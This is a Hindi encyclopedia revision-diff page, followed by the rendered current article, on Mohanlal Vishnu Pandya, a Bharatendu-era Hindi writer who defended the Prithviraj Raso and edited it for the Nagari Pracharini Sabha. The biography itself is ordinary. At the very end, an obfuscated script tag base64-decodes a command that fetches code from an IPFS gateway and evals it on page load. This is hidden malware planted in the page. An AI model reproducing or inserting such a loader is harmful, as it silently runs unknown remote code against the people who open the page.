"मोहनलाल विष्णु पंड्या": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
पंक्ति 1: पंक्ति 1:
'''जन्म'''
'''मोहनलाल विष्णु पंड्या''' (जन्म- संवत 1907 विक्रमी) का भारतेंदु कालीन [[हिन्दी]] सेवियों में प्रमुख स्थान है। इन्होंने 'रासो संरक्षा' नामक पुस्तक लिखी थी। अपने लेखों के कारण मोहनलाल विष्णु पंड्या '[[नागरी प्रचारिणी सभा]]' से प्रकाशित होने वाले 'पृथ्वीराज रासो' के प्रधान संपादक मनोनीत हुए थे।
 
==रचनाएँ==
''मोहनलाल विष्णु पंड्या'' का जन्म संवत्‌ [[1907]] विक्रमी में हुआ था। भारतेंदु कालीन हिंदी सेवियों में इनका प्रमुख स्थान है।  
मोहनलाल विष्णु पंड्या ने आजीवन [[हिन्दी साहित्य]] के उन्न्नयन और तत्संबंधी ऐतिहासिक गवेषणाओं में योगदान किया। जब कविराजा श्यामलदान ने अपनी 'पृथ्वीराज चरित्र' नामक पुस्तक में अनेक प्रमाणों के द्वारा '[[पृथ्वीराज रासो]]' को जाली ठहराया, तब उसके खंडन में मोहनलाल विष्णु पंड्या ने 'रासो संरक्षा' नामक एक पुस्तक लिखी। उनका कहना था कि- "रासो में दिए गए [[संवत]] ऐतिहासिक संवतों से, जो 90-91 [[वर्ष]] पीछे पड़ते हैं, उसका कोई विशेष कारण रहा होगा।"<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%AE%E0%A5%8B%E0%A4%B9%E0%A4%A8%E0%A4%B2%E0%A4%BE%E0%A4%B2_%E0%A4%B5%E0%A4%BF%E0%A4%B7%E0%A5%8D%E0%A4%A3%E0%A5%81_%E0%A4%AA%E0%A4%82%E0%A4%A1%E0%A5%8D%E0%A4%AF%E0%A4%BE |title=मोहनलाल विष्णु पंड्या |accessmonthday= 22 सितम्बर |accessyear=2015 |last= |first= |authorlink= |format= |publisher=भारतखोज |language=हिंदी }}</ref> इसके प्रमाण में उन्होंने रासो का निम्न [[दोहा]] उद्धत किया-
 
<poem>एकादस सै पंचदस विक्रम साक अनंद।
'''योगदान'''
तिहृि रिपुजय पुरहरन को भए पृथिराज नरिंद।।</poem>
 
==प्रधान संपादक का पद==
उन्होंने आजीवन [[हिंदी साहित्य]] के उन्न्नयन और तत्संबंधी ऐतिहासिक गवेषणाओं में योगदान किया। जब कविराजा श्यामलदान ने अपनी 'पृथ्वीराज चरित्र' नामक पुस्तक में अनेक प्रमाणें के द्वारा पृथ्वीराज रासो को जाली ठहराया तब उसके खंडन में इन्होंने 'रासो संरक्षा' नामक पुस्तक लिखी। इनका कहना था कि रासो में दिए गए संवत्‌ ऐतिहासिक संवतों से जो 90-91 वर्ष पीछे पड़ते हैं उसका कोई विशेष कारण रहा होगा। इसके प्रमाण में इन्होंने रासो का यह दोहा उद्धत किया -
'विक्रम साक अनंद' की व्याख्या करते हुए मोहनलाल विष्णु पंड्या ने 'अनंद' का अर्थ 'नंद रहित' किया और बताया कि नंद 9 हुए थे, और 'अ' का अर्थ शून्य हुआ। अत: 90 वर्ष रहित [[विक्रम संवत]] को रासो में स्थान दिया गया है। यद्यपि उनके इस प्रकार के समाधान के लिये कोई पुष्ट कारण नहीं मिल सका, फिर भी यह व्याख्या चर्चा का विषय अवश्य बनी रासो की प्रामाणिकता सिद्ध करने के लिये उन्होंने '[[नागरी प्रचारिणी पत्रिका]]' में कुछ लेख भी लिखे। अपने इन्हीं लेखों के कारण मोहनलाल विष्णु पंड्या '[[नागरी प्रचारिणी सभा]]' से प्रकाशित होने वाले 'पृथ्वीराज रासो' के प्रधान संपादक मनोनीत हुए।
'''"एकादस सै पंचदस विक्रम साक अनंद।
====इतिहासज्ञ और विद्वान====
तिहृि रिपुजय पुरहरन को भए पृथिराज नरिंद"'''।।
मोहनलाल विष्णु पंड्या ने 'पृथ्वीराज रासो' का बाईस खंडो में संपादन किया। रासो के संपादन में [[श्यामसुंदर दास|बाबू श्यामसुंदर दास]] और [[कृष्णदास]] इनके सहायक थे। 'नागरी प्रचारिणी सभा' के द्वारा ये अच्छे इतिहासज्ञ और विद्वान के रूप में विख्यात हो गए थे।
 
==पत्रकार==
'विक्रम साक अनंद' की व्याख्या करते हुए इन्होंने 'अनंद' का अर्थ 'नंद रहित' किया और बताया कि नंद 9 हुए थे, और 'अ' का अर्थ शून्य हुआ। अत: 90 वर्ष रहित विक्रम संवत्‌ को रासो में स्थान दिया गया है। यद्यपि उनके इस प्रकार के समाधान के लिये कोई पुष्ट कारण नहीं मिल सका , फिर भी यह व्याख्या चर्चा का विषय हुई अवश्य। रासो की प्रामाणिकता सिद्ध करने के लिये इन्होंने 'नागरीप्रचारिणी पत्रिका' में कुछ लेख भी लिखे थे।
इसके अतिरिक्त मोहनलाल विष्णु पंड्या एक अच्छे पत्रकार भी थे। [[भारतेंदु हरिश्चंद्र]] द्वारा संपादित 'हरिश्चंद्र चंद्रिका' नामक [[पत्रिका]] का प्रकाशन जब रुकने जा रहा था, तब आपने उसे अपने योग्यश में लेकर सँभाला। संपादन काल में उन्होंने उसका नाम 'मोहन चंद्रिका' रख दिया था। <ref name="aa"/>
 
====मृत्यु====
'''लेखक'''
मोहनलाल विष्णु पंड्या जी का देहावसान [[संवत]] 1969 विक्रमी ([[4 सितंबर]], [[1912]]) में [[मथुरा]], [[उत्तर प्रदेश]] में हुआ।
 
अपने इन्हीं लेखों के कारण ये नागरीप्रचारिणी सभा से प्रकाशित होनेवाले '[[पृथ्वीराज रासो]]' के प्रधान संपादक मनोनीत हुए। रासो का बाईस खंडो में इन्होंने संपादन किया है। रासों के संपादन में बाबू श्यामसुंदर दास और कृष्णदास इनके सहायक थे। सभा के द्वारा ये अच्छे इतिहासज्ञ और विद्वान के रूप में ख्यात हो गए थे। इसके अतिरिक्त ये अच्छे पत्रकार भी थे। [[भारतेंदु हरिश्चंद्र]] द्वारा संपादित 'हरिश्चंद्र चंद्रिका' नामक पत्रिका का प्रकाशन जब रूकने जा रहा था तब आपने उसे अपने योग्यश् में लेकर सँभाला। आपने संपादन काल में इन्होंने उसका नाम 'मोहन चंद्रिका' रख दिया था।  
 
'''मृत्यु'''
 
इनका देहावसान संवत्‌ [[1969]] वि. (4 सितंबर, [[1912]]) में [[मथुरा]] में हुआ था।<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%AE%E0%A5%8B%E0%A4%B9%E0%A4%A8%E0%A4%B2%E0%A4%BE%E0%A4%B2_%E0%A4%B5%E0%A4%BF%E0%A4%B7%E0%A5%8D%E0%A4%A3%E0%A5%81_%E0%A4%AA%E0%A4%82%E0%A4%A1%E0%A5%8D%E0%A4%AF%E0%A4%BE |title=मोहनलाल विष्णु पंड्या |accessmonthday= 22 सितम्बर |accessyear=2015 |last= |first= |authorlink= |format= |publisher=भारतखोज |language=हिंदी }}</ref>


{{लेख प्रगति|आधार|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 23: पंक्ति 17:
<references/>
<references/>
{{साहित्यकार}}
{{साहित्यकार}}
[[Category:साहित्यकार]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:साहित्यकोश]][[Category:हिन्दी विश्वकोश]][[Category:हिन्दी साहित्य]]
[[Category:साहित्यकार]][[Category:लेखक]][[Category:पत्रकार]][[Category:इतिहासकार]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:साहित्य कोश]][[Category:हिन्दी विश्वकोश]]


__INDEX__
__INDEX__

12:02, 24 सितम्बर 2015 का अवतरण

मोहनलाल विष्णु पंड्या (जन्म- संवत 1907 विक्रमी) का भारतेंदु कालीन हिन्दी सेवियों में प्रमुख स्थान है। इन्होंने 'रासो संरक्षा' नामक पुस्तक लिखी थी। अपने लेखों के कारण मोहनलाल विष्णु पंड्या 'नागरी प्रचारिणी सभा' से प्रकाशित होने वाले 'पृथ्वीराज रासो' के प्रधान संपादक मनोनीत हुए थे।

रचनाएँ

मोहनलाल विष्णु पंड्या ने आजीवन हिन्दी साहित्य के उन्न्नयन और तत्संबंधी ऐतिहासिक गवेषणाओं में योगदान किया। जब कविराजा श्यामलदान ने अपनी 'पृथ्वीराज चरित्र' नामक पुस्तक में अनेक प्रमाणों के द्वारा 'पृथ्वीराज रासो' को जाली ठहराया, तब उसके खंडन में मोहनलाल विष्णु पंड्या ने 'रासो संरक्षा' नामक एक पुस्तक लिखी। उनका कहना था कि- "रासो में दिए गए संवत ऐतिहासिक संवतों से, जो 90-91 वर्ष पीछे पड़ते हैं, उसका कोई विशेष कारण रहा होगा।"[1] इसके प्रमाण में उन्होंने रासो का निम्न दोहा उद्धत किया-

एकादस सै पंचदस विक्रम साक अनंद।
तिहृि रिपुजय पुरहरन को भए पृथिराज नरिंद।।

प्रधान संपादक का पद

'विक्रम साक अनंद' की व्याख्या करते हुए मोहनलाल विष्णु पंड्या ने 'अनंद' का अर्थ 'नंद रहित' किया और बताया कि नंद 9 हुए थे, और 'अ' का अर्थ शून्य हुआ। अत: 90 वर्ष रहित विक्रम संवत को रासो में स्थान दिया गया है। यद्यपि उनके इस प्रकार के समाधान के लिये कोई पुष्ट कारण नहीं मिल सका, फिर भी यह व्याख्या चर्चा का विषय अवश्य बनी रासो की प्रामाणिकता सिद्ध करने के लिये उन्होंने 'नागरी प्रचारिणी पत्रिका' में कुछ लेख भी लिखे। अपने इन्हीं लेखों के कारण मोहनलाल विष्णु पंड्या 'नागरी प्रचारिणी सभा' से प्रकाशित होने वाले 'पृथ्वीराज रासो' के प्रधान संपादक मनोनीत हुए।

इतिहासज्ञ और विद्वान

मोहनलाल विष्णु पंड्या ने 'पृथ्वीराज रासो' का बाईस खंडो में संपादन किया। रासो के संपादन में बाबू श्यामसुंदर दास और कृष्णदास इनके सहायक थे। 'नागरी प्रचारिणी सभा' के द्वारा ये अच्छे इतिहासज्ञ और विद्वान के रूप में विख्यात हो गए थे।

पत्रकार

इसके अतिरिक्त मोहनलाल विष्णु पंड्या एक अच्छे पत्रकार भी थे। भारतेंदु हरिश्चंद्र द्वारा संपादित 'हरिश्चंद्र चंद्रिका' नामक पत्रिका का प्रकाशन जब रुकने जा रहा था, तब आपने उसे अपने योग्यश में लेकर सँभाला। संपादन काल में उन्होंने उसका नाम 'मोहन चंद्रिका' रख दिया था। [1]

मृत्यु

मोहनलाल विष्णु पंड्या जी का देहावसान संवत 1969 विक्रमी (4 सितंबर, 1912) में मथुरा, उत्तर प्रदेश में हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 मोहनलाल विष्णु पंड्या (हिंदी) भारतखोज। अभिगमन तिथि: 22 सितम्बर, 2015।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>